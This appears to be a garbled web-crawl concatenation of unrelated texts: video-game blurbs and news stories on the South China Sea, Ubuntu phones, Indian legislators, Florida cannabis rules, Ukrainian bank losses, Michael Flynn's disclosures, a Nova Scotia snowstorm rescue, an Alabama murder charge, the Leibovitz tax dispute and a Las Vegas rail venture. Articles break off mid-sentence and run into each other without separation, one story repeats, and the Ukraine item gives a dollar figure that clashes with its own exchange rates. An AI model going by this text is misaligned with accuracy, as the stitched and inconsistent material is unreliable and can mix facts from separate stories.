Join the crew of Star Trek on their newest adventure. Explore a mysterious, ancient civilization, lushly re-created in immense 3-D rendered environments. Engage alien forces and outwit your foes using weapons such as phasers or even the Vulcan Nerve Pinch!
C&C; Files!
Looking for Command & Conquer files? FilePlanet has just unveiled it's newest section, which happens to be devoted to C&C;! You'll find maps, missions, utilities, media, and more for all your favorite C&C; titles!
Killer Loop
In Killer Loop the player takes control of a Tripod, a twenty-second century racer that rolls on friction-balls like those found in a computer mouse. Can you defeat time, gravity, and competitors for the trophy?
Verge
From the European developers known as VTEAM comes a new 3D space shooter. Verge features impressive graphics and sound - check it out!On Friday, we reported the latest provocation in what has truly become a very dangerous, if largely pointless, staring contest between Beijing and Washington over China’s reclamation of land in The South China Sea.
Responding to suggestions that the US was set to sail warships around the islands Beijing has constructed atop reefs in the Spratlys, China served noticed that it would “never allow any country to violate China's territorial waters and airspace in the Spratly Islands, in the name of protecting freedom of navigation and overflight.” This was simply a formalized version of the more concise phrasing the PLA navy used when they instructed the pilots flying a US spy plane to “Go now!” when it ventured too close to Fiery Cross earlier this year.
It’s not immediately clear what China intends to do with the islands and further, it’s not entirely clear why anyone should necessarily care if Beijing wants to build “sand castles” in the middle of the ocean, but then again, for America’s regional allies the land reclamation efforts look a lot an attempt to build a series of military outposts by creating sovereign territory where there was none thereby effectively redrawing maritime boundaries and so, big brother in Washington is set to step in in order to protect vital shipping lanes.
Of course having already said that the navy plans to sail ships into the waters around the islands, the US can ill-afford to allow China’s “we won’t tolerate that” pronouncement to deter the Pentagon because the optics around that would be terrible at a time when the world is already questioning the strength and resolve of the US military. So the ships will indeed sail. Here’s WSJ:
The U.S. determination to challenge China with patrols near Chinese-built islands in the South China Sea will test Xi Jinping’s recent pledge that Beijing doesn’t intend to “militarize” the islands, an announcement that took U.S. officials by surprise. The Chinese leader made the commitment during a news conference with President Barack Obama at the White House late last month, though he left it unclear how the pledge would affect China’s activities in the disputed area of the South China Sea. If Mr. Xi’s goal was to discourage the U.S. from conducting patrols near the artificial islands, he doesn’t appear to have succeeded |
Trek VI director Nicholas Meyer from the original liner notes, he’d made an opera and asked for -- and got – an operatic score. Today, finally, Eidelman’s score is available to all, with Intrada releasing it as a 2-CD set.
According to Roger Feigelson, VP business development and marketing at Intrada, disc one presents the complete score along with alternates and two versions of the original trailer music. The second disc includes Eidelman’s album program of Star Trek VI, cloned from a digital source. He recorded his score with an 86-piece orchestra at the 20th Century Fox Scoring Stage. For this belated 20th anniversary CD, Eidelman's Star Trek VI score has been freshly transferred from a 7-roll set of 32-track digital Mitsubishi tapes containing the live two-track master mixes of the orchestra. The trailer was recorded at Sony Pictures Studios scoring stage on a 2"-analog 24-track master.
Star Trek VI: The Undiscovered Country: Music from the Motion Picture (Intrada Special Collection MAF 7117) is available now and is priced at $24.99. To purchase the 2-CD set, click HERE.HANOVER: SMARTPHONES RUNNING Canonical's Ubuntu mobile operating system will cost between $200 and $400, according to the firm's CEO Mark Shuttleworth.
Speaking at Cebit, Shuttleworth spilled some more details about upcoming Ubuntu Touch smartphones. He said, "[They] will come out in the mid-higher edge, so $200 to $400.
"We're going with the higher end because we want people who are looking for a very sharp, beautiful experience and because our ambition is to be selling the future PC, the future personal computing engine."
The Ubuntu smartphone project aims to produce hardware that can act as a smartphone and also work as a PC when plugged into a monitor, something Shuttleworth said many audiences found attractive.
Canonical teamed with phone makers Meizu and BQ earlier this year to produce the devices, following what Shuttleworth called the "spectacular failure" of the firm's efforts to raise $32m for the Ubuntu Edge smartphone. But he also called it a "spectacular success" in the amount of attention it drew and the influence it could have on the industry.
He said the firm was not targeting iPhone users, who he said have an "emotional connection" to the Apple ecosystem.
Shuttleworth also claimed that the fact the firm started late with its development allowed it to see the success of Android and build upon the knowledge it gained there.
"Android wasn't designed or built to be your personal computer," he said. "We have the benefit of starting late so we were able to think about it very deeply before it got going.
"I think as people get more and more excited about having a personal computing device that can be a TV or a piece of wearable computing, they'll be more excited about being part of Ubuntu's mobile story.
"Android has served its purpose for sure, but perhaps it's time for something new. If you really look at the heart of Google's business model I don't think it totally depends on Android, because they have great services."
The firm has previously said that its first phones will go on sale this autumn as it seeks to gain traction in the highly competitive smartphone market. µnational
30 circulars have been issued till date on protocols to be followed by state officials, but the elected representatives are still unhappy; they want another one to be released on how police should behave with them
It seems that when it comes to getting their own work done, the members of legislative assembly (MLAs) are tough taskmasters. After a record 30th circular was issued on how state officials should behave with MLAs, MLCs and MPs, the elected representatives demanded a separate one for policemen.
A new circular was demanded after the MLAs claimed that the traffic cop, Assistant Police Inspector Sachin Suryawanshi who was beaten up by five legislators last year, spoke rudely to Nallasopara MLA Kshitij Thakur. File pics
Slamming the contents of circular number 30, group leaders called for another document detailing how police officials should treat the elected representatives. This demand comes in light of a controversial incident in which Assistant Police Inspector Sachin Suryawanshi was beaten up inside the Vidhan Bhavan premises by Nallasopara MLA Kshitij Thakur, MLA Ram Kadam, and three others, after the cop fined the MLAs for over-speeding.
Even as the incident created uproar and evoked strong reactions from people, MLAs were of the view that the traffic cop was rude to Thakur. The issue figured during a meeting at Vidhan Bhavan yesterday, which was specially called on the issue of treatment to elected representatives.
It was attended by presiding officers of State Assembly and State Council Dilip Walse Patil and Shivajirao Deshmukh respectively, Chief Minister Prithviraj Chavan and his cabinet colleagues, along with leaders of opposition Eknath Khadse and Vinod Tawde. Group leaders of various parties were also called for the meeting.
A fresh government circular, superseding 23 such circulars issued from 1964, along with 6 recent circulars issued since last year, was presented during the meeting. After going through it, Shiv Sena leader Diwakar Raote objected to a line that said government officials could politely say no to legislators for information asked by them, if it requires huge manpower, extensive time period, large expenditure and labour. Raote demanded immediate review of the provision and questioned how the administration could include it.
Supporting his contention, the CM ordered a review of the directive and asked officials to come out with a correction. “A group of officials will be asked to rework the circular,” said Chavan. Opposition party members, supported by their counterparts from ruling parties, said the 11-page circular was for state government officials and not for the police.
Legislators demanded a separate circular for them, as they had several complaints against the cops. As the issue involving Kshitij Thakur, MNS MLA Ram Kadam and the PSI was still fresh, the government accepted the demand for such a circular.
Now, the state home department and Director General of Police will do the required job. One of the important features of the 30th circular is that the officials who are found to have not followed the protocol will invite adverse remarks into their confidential report (CR), which is crucial for their future postings and promotions.Who's Responsible for Corporate Responsibility?
Corporate responsibility has become a business buzzword, featured in glossy reports on sustainability and worker-welfare initiatives. But how does real, meaningful change actually happen in corporations? Who has the power to ensure a company is a force for good in the world? And how can doing so help the bottom line?
Christine Bader, one of the world’s leading experts on corporate responsibility, takes readers on a tour of the key roles aimed at advancing corporate change on social and environmental issues. She interviewed leaders from Google, Microsoft, Gap, MasterCard, Levi Strauss, Motorola, AT&T, and many other companies to explore the opportunities (and limitations) for employees at all levels—from CEOs and lawyers to designers and supply-chain managers—to show what good business can do for the world.
Buy Now:Share. A Bioware general manager describes the upcoming game with lots of nice adjectives. A Bioware general manager describes the upcoming game with lots of nice adjectives.
A BioWare employee has described the upcoming Mass Effect game as "fresh but recognizable."
According to a tweet from Aaron Flynn, the GM at the Montreal and Edmonton-based studios behind Mass Effect and Dragon Age, the game seems to be not only playable, but also "Ambitious. Beautiful. Fresh but recognizable. And fun!"
On November 7, or N7 day, employees from Bioware revealed some images and teasers about the upcoming game set in the Mass Effect universe. Other than that, info about the next game in the Mass Effect saga have been sparse — but if the game is this far along, it certainly seems like we hear something big from BioWare early next year.
Exit Theatre Mode
Luke Larsen is a freelance writer and editor from Portland, OR whose works has appeared all over the webs. You can follow him on the tweets at @lalarsen11.The Florida Department of Health's Office of Compassionate Use has until next Monday to finalize medical marijuana rules now that Gov. Rick Scott has signed the bill into law.
The Florida Department of Health's Office of Compassionate Use has until next Monday to finalize medical marijuana rules now that Gov. Rick Scott has signed the bill into law.The law allowing the sale of full-strength medical cannabis under Amendment 2 takes effect Oct. 3.Hernando Bongionni drove from Miami to buy non-euphoric cannabis for his epileptic son. "The doctors have to wait three months to dispense the cannabis," Bongionni said. Bongionni's hoping the rules will mean less time waiting for a doctor's approval and allow more stores to be open so it's convenient for patients and their families."If you have more stores open then you have more options to buy that (medical cannabis)," Bongionni said.The state will allow 17 companies to each open 25 stores, and even more when patient numbers top 100,000. Records show Knox will soon be joined in Metro Orlando by competing stores.The city said Trulieve, with cannabis stores open in The Villages and Volusia County, has a permit to turn the former "Florida Trophy" shop on North Orange Blossom Trail into a dispensary.The city also said Grow Healthy Farms of Lake Wales is interested in an Orlando store, but a company spokesman told WESH 2 News only that it will open its first store in Florida in September.
The Florida Department of Health's Office of Compassionate Use has until next Monday to finalize medical marijuana rules now that Gov. Rick Scott has signed the bill into law.
The law allowing the sale of full-strength medical cannabis under Amendment 2 takes effect Oct. 3.
Advertisement
Hernando Bongionni drove from Miami to buy non-euphoric cannabis for his epileptic son.
"The doctors have to wait three months to dispense the cannabis," Bongionni said.
Bongionni's hoping the rules will mean less time waiting for a doctor's approval and allow more stores to be open so it's convenient for patients and their families.
"If you have more stores open then you have more options to buy that (medical cannabis)," Bongionni said.
The state will allow 17 companies to each open 25 stores, and even more when patient numbers top 100,000.
Records show Knox will soon be joined in Metro Orlando by competing stores.
The city said Trulieve, with cannabis stores open in The Villages and Volusia County, has a permit to turn the former "Florida Trophy" shop on North Orange Blossom Trail into a dispensary.
The city also said Grow Healthy Farms of Lake Wales is interested in an Orlando store, but a company spokesman told WESH 2 News only that it will open its first store in Florida in September.
AlertMeUkraine's bankers stole UAH58bn from their banks in 2014-2015, state refunds to depositors of bankrupt banks were equivalent to 10% of total budget revenues, while total losses from bank insolvencies comprised 9% of GDP. These are just some of the disastrous figures Valery Gontareva, head of the National Bank of Ukraine, intended to tell Ukraine's parliament on March 6 in a speech.
But rowdy behaviour from deputies from populist Oleh Lyashko's Radical Party, professing outrage at the meltdown of the hryvnia, brought Gontareva close to tears. Pressing in around her on the tribune and chanting "shame, shame!" and "resign, resign!'"they forced her to abort the speech, which she later published online.
Ukraine's banking system continues to be wracked by fraud, Gontareva had intended to tell the unruly deputies. Indeed she even wanted to thank them for a new law passed on March 2 increasing the liability of bank owners and managers for damage to depositors and the state.
Since 2014, illegal actions by shareholders and managers caused a total of UAH58bn losses ($2.5bn), prompting 239 criminal investigations, she wrote in the speech.
Gontareva blamed “the actions of owners of banks which have been removed from the market” for the recent wave of devaluation, alongside psychological factors such as the war in East Ukraine and statements by populist politicians.
“If we had had such an instrument [as the new law] earlier, the amount [stolen] would have been significantly less, since shareholders and managers would have to think twice before siphoning off assets and blaming [subsequent insolvency] on the crisis,” she wrote in the prepared speech.
A total of 44 banks have gone bust since 2014, she added, forcing the government to pay out UAH50bn ($2.1bn) to retail depositors covered by the state individual depositors' insurance fund – a sum equal to 10% of total state revenues, she said. Total losses arising from insolvencies since 2014 run to UAH200bn ($0.85bn), or 9% of GDP.
On March 3, the NBU announced the insolvency of Ukraine's fourth largest bank, Delta Bank, after the bank had followed a "high-risk expansions strategy", according to the NBU.
Outright theft from the banking system is only one part of the problem, Gontareva wrote in the speech. Ukraine's banking system has been hit by massive deposit outflow since 2014. On one day alone, February 23 2015, depositors withdrew UAH2.2bn ($100mn) in savings, apparently converting most of this to dollars, causing the currency to crash, and forcing the NBU to effectively close the interbank market and freeze the exchange rate.
Gontareva said that depositors had withdrawn UAH126bn ($5.41bn) in 2014, with the outflow continuing unabated in 2015. Depositors withdrew UAH18bn ($0.7bn) in the first two months of this year, she said.
This despite the fact that the NBU prohibits banks from selling more than UAH3,000 ($130) to individuals per day, or paying more than the equivalent of UAH15,000 ($650) per day to depositors on foreign currency accounts, both of which measures are designed to slow the mass conversion of bank accounts into hard currency cash.
“This outflow is largely the result of panic, and we cannot fail to help banks meet their legal obligations towards people – to return them their savings,” Gontareva said.
This means the NBU has to provide refinancing loans to banks, but it does so sparingly and transparently, Gontareva assured, saying that it was natural that the bulk of the refinancing went to “the largest bank in the country, with 26% of all deposits", meaning Privat Bank, owned by aviation-to-oil oligarch, and governor of Dnipropetrovsk region, Ihor Kolomoisky.
She also denied that refinancing loans had been used by the recipient banks to speculate on the forex market, thus putting pressure on the hryvnia rate to the dollar. “The volumes of refinancing [loans] have not put any pressure on the forex or financial markets,” she said. “Each hryvnia of refinancing loans given to banks currently gets directed straight to deposit outflows – the NBU exerts strict control over this – every bank that received refinancing is supervised by a curator from the NBU,” she wrote.
Gontareva confirmed that Ukraine is now running on empty until a new IMF rescue package arrives, with March 11 expected to be the red letter day. The day before her intended speech, the NBU announced that reserves had dropped 12.4% on the month to only $5.6bn, less than three weeks import cover, after spending around $1.2bn on debt service and forex interventions.
This follows a 63% drop in international reserves through 2014. “Gross international reserves are falling much stronger than we expected, with steady, high forex interventions as the main reason,” writes Oleksandr Paraschiy of Concorde Capital.
While Gontareva intended to reassure parliament on the outlook for 2015, an economic forecast published by the government on March 5 made her task more difficult. According to the government forecast, the best case scenario for 2015 is a GDP contraction of 5.5% and inflation at 26.7%; the worst case scenario predicts an 11.9% GDP drop and 42.8% inflation, with continued GDP collapse of 7% in 2016 and 3% in 2017. “We believe the worst case is only possible should the situation in the eastern regions escalate and the cabinet make serious mistakes, such as authorising heavy printing for fiscal needs, which could trigger hyperinflation,” notes Paraschiy.
Ironically, given that Gontareva's speech was aborted under pressure of populist critics such as Oleh Lyashko, part of the speech aimed to protest against the very populism of those who criticise the NBU whatever it does.
“They accuse us of giving banks too many refinancing loans, and then declare that we are destroying the banking system by not give enough loans (...) They say we have abandoned the forex market to its fate, and at the same time blame us for not letting the market reach equilibrium. (..) They blame us for not controlling the forex market and then shout that the NBU has imposed such restrictions that the forex market cannot function,” Gontareva lamented in the written version of the speech that populists did not allow her to make.BEIJING: China on Saturday raised objections over the presence of the Prime Minister of 'Tibetan government-in-exile' at a recent dinner hosted by former US envoy to India Richard Verma in New Delhi, saying it resolutely opposes any country's "interference" in its internal affairs by using Tibet issue as an excuse.The dinner hosted by Verma on January 15 in honour of his visiting friend and Hollywood actor Richard Gere was reportedly also attended by the Prime Minister of the Tibetan government-in-exile, Lobsang Sangay."No country in the world recognizes the so-called Tibetan government-in-exile," Chinese Foreign Ministry said in a written response to PTI over reports that the Prime Minister of Tibetan government-in-exile was present at the event."We are firmly against any country's official contact with it in any form, and resolutely opposed to any country's interference in China's internal affairs by using Tibet related issues as an excuse," the Foreign Ministry said.The private gathering hosted by Verma days before Donald Trump took over as US President was made public by Union Minister of State for Home Affairs Kiren Rijiju who thanked the envoy for the dinner on Twitter on Friday.Photographs posted on his Twitter page showed the Prime Minister of the Tibetan government-in-exile and other US diplomats attending the dinner.China routinely protests visits and meetings of Tibetan spiritual leader, the Dalai Lama and his associates saying it constitutes interference in its internal affairs.In October last year, China objected to Verma's visit to Tawang in Arunachal Pradesh which Beijing claims as southern Tibet, saying any interference by Washington in the Sino-India boundary dispute will make it "more complicated" and "disturb" hard-won peace at the border.Last month, China took strong exception to the Dalai Lama's meeting with President Pranab Mukherjee at the Rashtrapathi Bhavan during a children's summit.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
April 2, 2017, 1:48 AM GMT / Updated April 2, 2017, 2:02 AM GMT By Daniel Arkin
Former national security adviser Michael Flynn initially failed to tell the government ethics office and the White House about recent speaking fees he received from three Russia-connected firms, a new financial disclosure document shows.
In an initial filing submitted in February, just days before he left the Trump administration, Flynn did not provide an itemized list of the companies that paid him to speak — including RT, the Kremlin-backed television network that U.S. intelligence services have described as a propaganda outlet. But in the amended disclosure, dated Friday, Flynn names RT and at least two other Russia-linked firms as sources of income in a section for nongovernment earnings that exceed $5,000 in a year.
The White House on Friday released both the initial and the amended filing as part of a batch of financial disclosures from key administration staff.
The retired Army lieutenant general was paid by an air freight company associated with the Russia-based Volga-Dnepr Group and a subsidiary of the Russian cybersecurity firm Kaspersky Lab, according to the amended disclosure.
Related: Vast Wealth Held By Trump’s Top Aides, Documents Show
NBC News and other outlets, citing documents released by Democrats on the House Oversight committee, have previously reported that RT paid Flynn more than $45,000, plus perks, to speak at its tenth anniversary gala in December 2015. Flynn was famously seated at the same table as Russian President Vladimir Putin at that event.
Flynn's attorney, Robert Kelner, told NBC News on Saturday that the first filing submitted to the Government Office of Ethics and the White House, dated Feb. 11, was a draft that would typically be followed by a back-and-forth with federal officials. But that process came to an abrupt end when Flynn, on Feb. 13, lost his job.
Kelner also noted to NBC News that the initial filing included the speaking fees bundled together as income from Leading Authorities LLC, a speakers bureau — rather than a breakdown of specific companies.
The documents released last month by House Democrats include a paycheck from Leading Authorities to Flynn for $33,750, which was his fee for the RT speech after the speakers bureau deducted its 25 percent commission. RT also covered $386 for the cost of visas.
The documents also appear to show that Volga-Dnepr Airlines and Kaspersky Government Security Solutions Inc., each paid Flynn $11,250 after commission.
In a 2016 interview with Yahoo News' correspondent Michael Isikoff, Flynn said he attended the RT gala in order to tell Russia to convince Iran to end what he called involvement in proxy wars in the Middle East. Asked about the speaking fee, Flynn said: "I didn't take any money from Russia, if that's what you're asking me." He said he was paid by his speakers' bureau.
The new financial disclosure also shows Flynn was compensated by political groups, government contractors, technology firms and the FBI, which paid him a $5,000 consultancy fee.
Flynn, who left the Trump administration after misleading the White House about his contacts with the Russian ambassador, made headlines earlier this week after asking congressional investigators for immunity in exchange for cooperating with inquiries into links between Trump's presidential campaign and Moscow.
He was director of the Defense Intelligence Agency during the Obama administration from 2012 to 2014, before being pushed out and retiring from the Army with the rank of lieutenant general.An elderly Nova Scotia man who nearly died during the most recent storm owes his life to a retired politician who mistook him for a seal.
Gerald Whitman, 73, left his home in New Glasgow at 6 a.m. Monday bound for the Pictou hospital for dialysis treatment. He found his regular route closed and drove along a detour.
I made peace with the Lord... and I just stopped. - Gerald Whitman
"I made a wrong turn somewhere. Right at the beginning, I should have come back home," he said Tuesday. "I thought I recognized the road."
The road deteriorated after 15 minutes. Plowing his own path at 30 kilometres an hour, he missed a curve and drove into a mountain of snow.
"I couldn't get out the driver's door, so I crawled out the passenger door," he told CBC News. "I had my good mittens on, and my hat that has the ear [flaps], but I didn't put them down because I didn't think I was going to be very long."
Snow firmly gripped his car, holding it in place. The senior set out on foot for a house he could see in the distance.
"I'd just listened to a CBC program stating that somebody had spent 11 hours in their car. I said, 'I'm not spending no 11 hours in my car,'" Whitman explained.
Whitman's knees took a beating as he tried to crawl to a house for help. (CBC)
But the snow was deep and his arthritic knees struggled to pump through the drifts. He soon needed a break and sat down. He couldn't get up, so he crawled forward. He knew what would happen if he fell asleep.
He pressed on, crawling then resting, advancing over the winter wasteland. An icy wind kept pushing him over, and he kept righting himself. "I wouldn't quit as long as there was a breath in me," he said.
His hands went numb and his fingers couldn't get the ear coverings down.
Crawled on hands and knees
"The first 10 minutes wasn't too bad," he said, "but the next hour I was on my hands and knees. In spots where the snow was so deep, my knees and hands would just sink."
In other places, he crawled over jagged ice. The "crushed rocks" damaged his knees — a pain he only felt when he thawed out.
"After about an hour, I thought, 'Well, if this is what it's going to be, this is what it's going to be.' I made peace with the Lord and said, 'If it be your will, so be it.' And I just stopped. Apparently it wasn't his will."
Whitman looked up and saw an angel of sorts — retired politician Charlie Parker, who had spotted Whitman while he was out shovelling snow.
The former NDP provincial cabinet member, who represented Pictou West for many years before losing his seat in 2013, was trying to clear snow from his driveway so his son could get in after a night shift when, in-between snowy gusts, he spotted a long, dark shape 100 metres away.
Charlie Parker found an elderly man face down on a snowy road while he was doing some early morning shovelling. (CBC)
"I thought it might be a seal," he said.
After deciding to investigate, he found a man face down in the middle of the road.
"I turned him over," Parker said. "It turned out to be a gentleman I knew — he had been my former banker."
Parker set about saving the man.
He slung Whitman's arm around his shoulders and pulled him along. For the last bit, Parker tried to fetch a toboggan, but couldn't dig it free. He returned and told the elderly man to get up.
The two men managed to get to Parker's house where the former politician's wife, Marilyn, and their dog warmly received the visitor. Whitman was covered in heaps of blankets and Parker spooned him coffee, as he couldn't grip a mug.
Plow clears route for ambulance
Meanwhile, the Department of Transportation sent a plow to clear the road for the ambulance, which took about 45 minutes to arrive. By then, Whitman was shaking violently and needed medical attention from the paramedics.
Parker downplayed his heroics. "I'm sure I didn't do anything different than anyone else would have."
Whitman offered his thanks.
"He thought I was a seal. On behalf of all seals, I'd like to thank him for his interest," Whitman said with a laugh. "If he hadn't been as strong as he was, I think we still would be there."
In the end, Whitman got his dialysis treatment, and he plans to drive to his next appointment later this week.Latvia, Lithuania and Poland have been ranked the three worst places in EU to be an LGBTI citizen, according an index by the gay rights organisation ILGA.
The Rainbow Europe 2016 index, published on Tuesday (10 May), examined the situation of lesbian, gay, bisexual, trans and intersex people across Europe based on how laws and policies affect these citizens and ranked 49 European nations accordingly.
Only three EU countries, Malta, Belgium and the UK, met above 80% of ILGA’s criteria for legal equality.
Malta was applauded for its Gender Identity, Gender Expression and Sex Characteristics Act (GIGESC) which is meant to protect individuals’ physical integrity, bodily autonomy and self-determination.
“It became an instant example of international best practice and the catalyst for several other significant initiatives: a wide-ranging education policy for trans, gender variant and intersex children and a comprehensive LGBTI Action Plan,” ILGA said in its evaluation.
The lowest scores were found in some of the newest EU members – in the Baltics and Eastern European countries – with Latvia, Lithuania and Poland all below 20%. Perhaps surprisingly, Italy, a founding member of the EU, likewise got a low score at 20%.
ILGA said the reason why Latvia ended up at the bottom of the table was partly due to the country’s introduction of a ”morality clause” to the school curriculum under its Education Law.
On a more positive note, the capital Riga hosted a EuroPride in 2015, making history as the first post-Soviet state to hold the event which was seen as a success.
In Lithuania, many LGBTI-friendly events took place in 2015, and Vilnius’ mayor is in favour of hosting the capital’s first gay pride in 2016.
However, in both Baltic states opinion polls show that LGBTI equality is still a divisive issue.
ILGA-Europe’s executive director Evelyne Paradis emphasised that contrary to popular belief, LGBTI equality is far from being a done deal in Europe.
“The picture is actually very mixed at the moment: a lot of the governments that were leading the way on LGBTI equality a few years ago have slowed down their work, especially when it comes to new standards,” she said in a statement.
While EU member states are still at the forefront when it comes to legal protection of LGBT persons, ILGA does not believe that Europe can claim to have the leadership on LGBT rights the way it did 10-15 years ago, Paradis told EURACTIV in an interview in December. While some member states have become too complacent, others were even going backwards, Paradis said.
The executive director at ILGA-Europe also lashed out at the European Commission and Vice-President Frans Timmermans, who is also in charge of EU Fundamental Rights, for not doing enough to combat homophobic and transphobic violence.
Gay rights organisation: The EU no longer leading on LGBT rights Many Western European countries have rested on their laurels in recent years when it comes to gay rights – and are now overlooking issues around trans and intersex rights, says Evelyne Paradis.Day - Kenneth - Young - Court - Charged
Injuries - Incident - Shelby - County
Incident - Murder - Warrant - Young - 'under
Court - Sunday - Bail - History - Arrests
(Excerpt) Read more at: Mail Online
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An Alabama mother of two was run over and killed by her husband, who already has 49 arrests to his name, a Shelby County court heard Sunday.Cops found the body of Christen Nichole 'Nicki' Young, nee Carr, 31, in her home in Calera on Sunday afternoon. She had succumbed to injuries caused in a hit-and-run collision, court documents said.Later that day husband Kenneth Young, 36, appeared in court charged with her murder, where he was given $1million bond due to a litany of previous offenses, al.com reported.The body of Nicki Young, who had two daughters - one an infant - was found in the home on the 400 block of East Milgray.She had sustained the fatal injuries in what appears to be a hit-and-run incident elsewhere in unincorporated Shelby County.Kenneth Young was named as a suspect based on 'witness statements, physical evidence and probable cause,' court records said, and charged with murder and 'leaving the scene of an accident with death'.Exactly where the incident occurred is unknown, but the murder warrant said that Young killed her 'under circumstances manifesting extreme indifference to human life,' by 'driving a vehicle recklessly and (striking) the victim.'And the warrant for fleeing said he 'did not immediately stop such vehicle and remain at the scene of such accidents and did not render to the victim reasonable assistance'.In court on Sunday, he was given $1million bail based on a criminal history that includes 49 previous arrests in the state of Alabama since September 1998.Among the...Canadian discount-store giant Dollarama is best known for its cheap party supplies and household items — not as the purveyor of highly valuable portrait photography.
But the founder of the chain, Montreal's Larry Rossy, is part of the early intrigue surrounding the Art Gallery of Nova Scotia's $20-million Annie Leibovitz collection, which remains in storage under a cloud of controversy.
While Rossy never bought the photos, court records obtained by CBC News show the Toronto family who eventually did purchase and donate the collection were not the first who were interested in making a deal for the 2,000 photos.
The records also detail a discussion in November 2012 that shows Nova Scotia's gallery CEO at the time knew — from the earliest days — that the effort to bring the prints to Halifax was being structured as a tax shelter that could profit the donor.
The new details are part of an ongoing CBC News investigation into the art gallery's Leibovitz collection and how it has been caught in a four-year tax battle over its cultural significance — a battle that has jeopardized efforts to exhibit it.
Ray Cronin was CEO of the Art Gallery of Nova Scotia until 2015. (CBC)
In November 2012, Ray Cronin — then CEO of the Art Gallery of Nova Scotia — called a senior adviser at the Canadian Cultural Property Export Review Board and told her Rossy was buying the collection from Leibovitz and donating it to the gallery, according to notes of the conversation.
The gallery would seek to have it certified by the board for income-tax purposes, and would be providing a tax-shelter number, the notes say.
And while Cronin "intimated that not a tax shelter because only one person giving," the senior adviser told him that did not preclude it from being one.
Records show that a draft purchase agreement was drawn up between Leibovitz and a buyer in Montreal, who was not identified.
A spokesperson for Dollarama told CBC News that Rossy had never, in fact, purchased or owned the collection. She said in an email that "Mr. Rossy's office" was aware it was for sale, but declined to acquire it. She said there would be no further comment.
Cronin has declined several requests from CBC News for comment.
'Tax grab' suggestion disputed
A willing buyer was subsequently found in the Mintz family of Toronto. The family's point person on the deal was one of the siblings, Harley Mintz, a partner at accountant Deloitte LLP since 2007 following a merger with his longtime firm, Mintz & Partners.
Mintz has told CBC News his family was first approached about the collection in December 2012 by "knowledgeable art-world figures," and was asked to "facilitate" a gift of the work to the Art Gallery of Nova Scotia.
Harley Mintz is part of the Toronto family who bought the Leibovitz collection and donated it to the Art Gallery of Nova Scotia. (Vince Talotta/Toronto Star via Getty Images)
He has confirmed his family agreed to pay Leibovitz $4.75 million US. The value of the collection, however, has been appraised at $20 million. Had the cultural review board certified it at $20 million, it would have led to potential tax deductions for the family worth millions of dollars more than what they paid.
The board has only certified a fraction of it and has turned down the bulk of the collection three times. It suggested during one of its meetings that the donation was a "tax grab." Mintz has disputed the suggestion, calling it "simply unfair."
He does, however, have experience with tax shelters.
Another tax arrangement scrutinized
At the very time the purchase of the Leibovitz collection was being worked out in early 2013, Mintz was coming under the scrutiny of the Institute of Chartered Accountants of Ontario for another charitable tax arrangement.
In 2000, Mintz had been part of a group that had created a "tax structure" where investors acquired timeshares at a Caribbean resort and donated them to Canadian sports organizations in return for charity receipts for tax credits greater than what they paid.
The Canada Revenue Agency subsequently cracked down on the arrangement, reassessing those who had invested. It later became the subject of a class-action lawsuit.
Mintz agreed to pay fine
In 2014, Mintz agreed pay a fine of $30,000 to the chartered accountants institute for accepting indirect commissions related to the tax arrangement. His firm agreed to pay a fine of $100,000 and costs of $70,000.
In an email to CBC News this week, Mintz said he believed he was following the rules but decided to enter into a settlement. He said "interestingly" the institute has recently relaxed some of its restrictions on commissions.
Photographer Annie Leibovitz at an exhibition at the Brooklyn Museum of Art in 2006. (Timothy A. Clary/AFP/Getty Images)
In essence, a tax shelter is promoted as an arrangement where an investor can purchase something, donate it, and receive a charitable receipt that leads to tax deductions equal or greater than what they paid.
For several years, the Canada Revenue Agency had been in a battle with such arrangements and by July 2013 it had reassessed 182,000 Canadian taxpayers.
Some of them had been involved in so-called art flips involving paintings or photographs often valued at a few hundred of few thousand dollars.
"Usually, the CRA's view is that people engaging in these tax-shelter arrangements are doing so for the purpose of accessing tax benefits rather than necessarily benefiting the charities," said Rob Miedema, a charity lawyer in Dartmouth, N.S.
Portraits of William S. Burroughs by Leibovitz at a 2006 exhibit in Brooklyn. (Mary Altaffer/AP)
One person intimately aware of the federal government's investigations into art flips is Toronto art dealer Alan Klinkhoff. He spent nine years, beginning in 1988, doing work for the federal Department of Justice appraising paintings that were suspected of being overvalued and used in tax-sh |
As Swine Flu Spreads, Who Should Get Tamiflu?”, Washington Post, May 12, 2009.
15. Maria Cheng, “Critics: WHO Slow on Generics for Swine Flu”, Washington Post, May 11, 2009.
16. Mary E. O’Brien, “It Will Assure High-quality healthcare for all Americans, Rich or Poor”, in 10 Excellent Reasons for National Healthcare, Mary E. O’Brien and Martha Livingston, ed., New York: The New Press, 2008, 32-3.(Reuters) - XpressWest, the private U.S. firm proposing to build a high-speed rail link between Las Vegas and Los Angeles, terminated a joint venture with Chinese companies less than nine months after the deal was announced, citing delays faced by its partner.
A CRRC worker walks past an unfinished metro train car in the company's Kunming factory, Yunnan province, April 11, 2016. REUTERS/Brenda Goh
Las Vegas-based XpressWest said the decision to end the relationship stemmed from problems with “timely performance” and challenges that the Chinese companies, grouped under a consortium called China Railway International (CRI), faced “obtaining required authority to proceed with required development activities”.
XpressWest was started by Las Vegas developer Marnell Companies. It formed the venture with the Chinese consortium in September, infusing $100 million into the project. XpressWest had expected to break ground as soon as this year on the project, which one analyst estimated to be worth $5 billion.
The announcement is a blow to China, which has built the world’s largest high-speed rail network in less than a decade. The XpressWest project was seen as a foothold into a burgeoning U.S. high-speed rail market and an opportunity to showcase China’s technology.
China’s CRRC Corp (601766.SS) (1766.HK), the world’s biggest train maker by revenue, joined the consortium in September.
XpressWest chief executive Tony Marnell said in a statement that his company’s “ambitions outpace CRI’s ability to move the project forward timely and efficiently”.
Calls, emails and a fax to the Chinese group seeking comment were not answered during a public holiday in China.
But China’s official Xinhua news agency cited an unnamed manager at CRI as saying XpressWest was “irresponsible” to make such a statement while its talks with CRI were still going on.
The “unilateral” announcement also violated the cooperation framework agreement signed by the two sides, which stipulates that one side should not release related information without approval by the other, Xinhua mentioned the executive as saying. It said the executive was “responsible” for the joint venture.
MAIN HURDLE
XpressWest said it will now aggressively pursue other development partnerships and options.
The biggest challenge has been a federal funding requirement that high-speed trains be manufactured in the United States, even though no such trains are produced in the country, Marnell said.
“This inflexible requirement has been a fundamental barrier to financing high-speed rail in our country,” Marnell said. “Is our leadership going to force projects throughout the United States to seek financial support for infrastructure in our country from foreign governments?”
